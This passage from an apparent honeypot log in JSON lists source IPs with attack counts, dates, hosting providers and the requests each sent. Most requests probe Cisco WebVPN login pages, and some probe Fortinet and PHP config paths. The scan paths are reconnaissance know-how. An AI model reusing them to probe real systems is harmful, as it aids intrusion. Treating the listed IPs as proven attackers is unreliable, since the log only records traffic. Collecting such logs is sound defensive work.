    "163.245.209.82": {
      "attack_count": 71,
      "first_seen": "2026-04-11T07:46:58.787Z",
      "last_seen": "2026-04-11T11:40:28.560Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 19318,
      "as_org": "Interserver, Inc"
    },
    "68.235.46.47": {
      "attack_count": 39,
      "first_seen": "2026-04-09T01:00:04.623Z",
      "last_seen": "2026-04-28T07:30:51.192Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.79.61": {
      "attack_count": 30,
      "first_seen": "2026-04-11T04:00:28.511Z",
      "last_seen": "2026-04-29T17:04:45.293Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "94.103.179.211": {
      "attack_count": 28,
      "first_seen": "2026-04-12T02:54:59.310Z",
      "last_seen": "2026-04-14T01:52:28.293Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "East Hartland",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "155.2.191.30": {
      "attack_count": 27,
      "first_seen": "2026-04-18T22:31:45.595Z",
      "last_seen": "2026-04-29T16:48:36.507Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "23.160.24.227": {
      "attack_count": 27,
      "first_seen": "2026-04-09T01:02:42.640Z",
      "last_seen": "2026-04-23T21:03:53.008Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 30671,
      "as_org": "Data Bridge Limited"
    },
    "185.156.46.153": {
      "attack_count": 24,
      "first_seen": "2026-04-15T09:03:35.512Z",
      "last_seen": "2026-04-29T10:44:09.893Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "185.213.193.31": {
      "attack_count": 24,
      "first_seen": "2026-04-08T17:53:09.430Z",
      "last_seen": "2026-04-27T21:37:40.121Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "37.19.221.175": {
      "attack_count": 24,
      "first_seen": "2026-04-13T08:19:09.590Z",
      "last_seen": "2026-04-27T12:20:07.293Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "172.120.161.135": {
      "attack_count": 22,
      "first_seen": "2026-04-13T05:24:03.674Z",
      "last_seen": "2026-04-13T16:09:01.996Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "172.121.82.116": {
      "attack_count": 22,
      "first_seen": "2026-04-13T07:15:45.440Z",
      "last_seen": "2026-04-13T15:51:31.790Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "185.68.80.78": {
      "attack_count": 22,
      "first_seen": "2026-04-12T01:06:41.368Z",
      "last_seen": "2026-04-13T13:51:20.844Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "166.88.0.99": {
      "attack_count": 21,
      "first_seen": "2026-04-12T02:50:47.789Z",
      "last_seen": "2026-04-13T09:26:58.541Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "103.251.27.49": {
      "attack_count": 18,
      "first_seen": "2026-04-11T03:09:42.542Z",
      "last_seen": "2026-04-30T00:51:37.145Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "146.70.168.176": {
      "attack_count": 18,
      "first_seen": "2026-04-11T06:49:29.283Z",
      "last_seen": "2026-04-30T00:20:18.085Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.187.73": {
      "attack_count": 18,
      "first_seen": "2026-04-11T09:10:32.115Z",
      "last_seen": "2026-04-27T16:55:15.647Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "173.249.253.197": {
      "attack_count": 18,
      "first_seen": "2026-04-10T14:38:44.751Z",
      "last_seen": "2026-04-30T03:19:57.201Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.82.61": {
      "attack_count": 18,
      "first_seen": "2026-04-11T00:47:12.811Z",
      "last_seen": "2026-04-27T13:19:28.419Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "146.70.172.73": {
      "attack_count": 15,
      "first_seen": "2026-04-10T06:33:00.538Z",
      "last_seen": "2026-04-25T13:14:43.105Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.172.83": {
      "attack_count": 15,
      "first_seen": "2026-04-08T21:07:34.434Z",
      "last_seen": "2026-04-30T04:26:34.113Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "166.88.222.3": {
      "attack_count": 15,
      "first_seen": "2026-04-13T04:08:09.661Z",
      "last_seen": "2026-04-13T07:03:45.061Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "185.156.46.149": {
      "attack_count": 15,
      "first_seen": "2026-04-08T09:42:34.923Z",
      "last_seen": "2026-04-27T17:15:33.420Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "185.220.100.248": {
      "attack_count": 15,
      "first_seen": "2026-04-24T09:16:53.278Z",
      "last_seen": "2026-04-24T09:17:14.484Z",
      "ports": [],
      "event_types": [
        "\"GET /_asterisk/phpversions.php?npv HTTP/1.1\" 404 -",
        "\"GET /admin/modules/?npv HTTP/1.1\" 404 -",
        "\"GET /admin/modules/_cache/?npv HTTP/1.1\" 404 -",
        "\"GET /panel/phpversions.php?npv HTTP/1.1\" 404 -",
        "\"GET /phpversions.php?npv HTTP/1.1\" 404 -",
        "\"GET /recordings/phpversions.php?npv HTTP/1.1\" 404 -",
        "\"GET /var/phpversions.php?npv HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/phpversions.php?npv HTTP/1.1\" 404 -",
        "\"GET /web-meetme/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /welcome/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /widgets/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /xmlservices/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /xx.php?x123wx HTTP/1.1\" 404 -",
        "\"GET /yii/config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 205100,
      "as_org": "F3 Netze e.V."
    },
    "23.234.102.100": {
      "attack_count": 15,
      "first_seen": "2026-04-10T01:03:49.918Z",
      "last_seen": "2026-04-21T19:47:41.105Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.115.188": {
      "attack_count": 15,
      "first_seen": "2026-04-21T17:59:32.299Z",
      "last_seen": "2026-04-24T16:47:55.275Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.68.61": {
      "attack_count": 15,
      "first_seen": "2026-04-10T10:17:25.414Z",
      "last_seen": "2026-04-25T15:28:28.725Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.81.105": {
      "attack_count": 15,
      "first_seen": "2026-04-16T07:57:02.604Z",
      "last_seen": "2026-04-30T03:31:52.127Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.91.227": {
      "attack_count": 15,
      "first_seen": "2026-04-21T08:38:38.397Z",
      "last_seen": "2026-04-25T06:25:57.295Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.193": {
      "attack_count": 15,
      "first_seen": "2026-04-12T02:20:55.413Z",
      "last_seen": "2026-04-25T15:21:17.632Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "172.121.59.76": {
      "attack_count": 14,
      "first_seen": "2026-04-13T03:21:43.244Z",
      "last_seen": "2026-04-13T16:19:33.111Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "64.62.197.227": {
      "attack_count": 13,
      "first_seen": "2026-04-25T05:33:29.118Z",
      "last_seen": "2026-04-25T05:40:01.891Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.162": {
      "attack_count": 13,
      "first_seen": "2026-04-07T00:24:07.889Z",
      "last_seen": "2026-04-07T00:31:38.999Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "103.251.27.100": {
      "attack_count": 12,
      "first_seen": "2026-04-08T16:20:20.720Z",
      "last_seen": "2026-04-29T12:19:51.689Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "146.70.171.90": {
      "attack_count": 12,
      "first_seen": "2026-04-12T02:13:58.477Z",
      "last_seen": "2026-04-27T20:50:27.909Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "155.2.191.130": {
      "attack_count": 12,
      "first_seen": "2026-04-23T01:15:32.786Z",
      "last_seen": "2026-04-27T22:34:37.503Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "23.162.40.106": {
      "attack_count": 12,
      "first_seen": "2026-04-16T02:57:27.373Z",
      "last_seen": "2026-04-28T01:00:31.087Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 400882,
      "as_org": "Cyber Data LLC"
    },
    "23.234.106.197": {
      "attack_count": 12,
      "first_seen": "2026-04-08T23:26:03.910Z",
      "last_seen": "2026-04-27T22:20:42.521Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.68.227": {
      "attack_count": 12,
      "first_seen": "2026-04-10T04:31:20.951Z",
      "last_seen": "2026-04-24T14:37:23.809Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.73.197": {
      "attack_count": 12,
      "first_seen": "2026-04-08T13:24:27.892Z",
      "last_seen": "2026-04-21T06:43:39.207Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.74.185": {
      "attack_count": 12,
      "first_seen": "2026-04-18T03:34:07.301Z",
      "last_seen": "2026-04-26T06:11:08.911Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.74.45": {
      "attack_count": 12,
      "first_seen": "2026-04-10T12:17:16.633Z",
      "last_seen": "2026-04-27T22:57:57.423Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.76.105": {
      "attack_count": 12,
      "first_seen": "2026-04-18T00:49:55.887Z",
      "last_seen": "2026-04-25T05:57:35.656Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.77.227": {
      "attack_count": 12,
      "first_seen": "2026-04-23T09:34:35.104Z",
      "last_seen": "2026-04-25T01:18:01.429Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.97.170": {
      "attack_count": 12,
      "first_seen": "2026-04-11T10:24:00.713Z",
      "last_seen": "2026-04-23T11:04:54.546Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.98.45": {
      "attack_count": 12,
      "first_seen": "2026-04-18T19:19:45.134Z",
      "last_seen": "2026-04-29T09:30:00.941Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.99.109": {
      "attack_count": 12,
      "first_seen": "2026-04-10T18:55:27.203Z",
      "last_seen": "2026-04-21T06:12:24.806Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "74.82.47.4": {
      "attack_count": 12,
      "first_seen": "2026-04-30T00:33:45.537Z",
      "last_seen": "2026-04-30T00:38:23.158Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "185.156.46.159": {
      "attack_count": 10,
      "first_seen": "2026-04-18T19:37:19.530Z",
      "last_seen": "2026-04-26T02:46:07.516Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
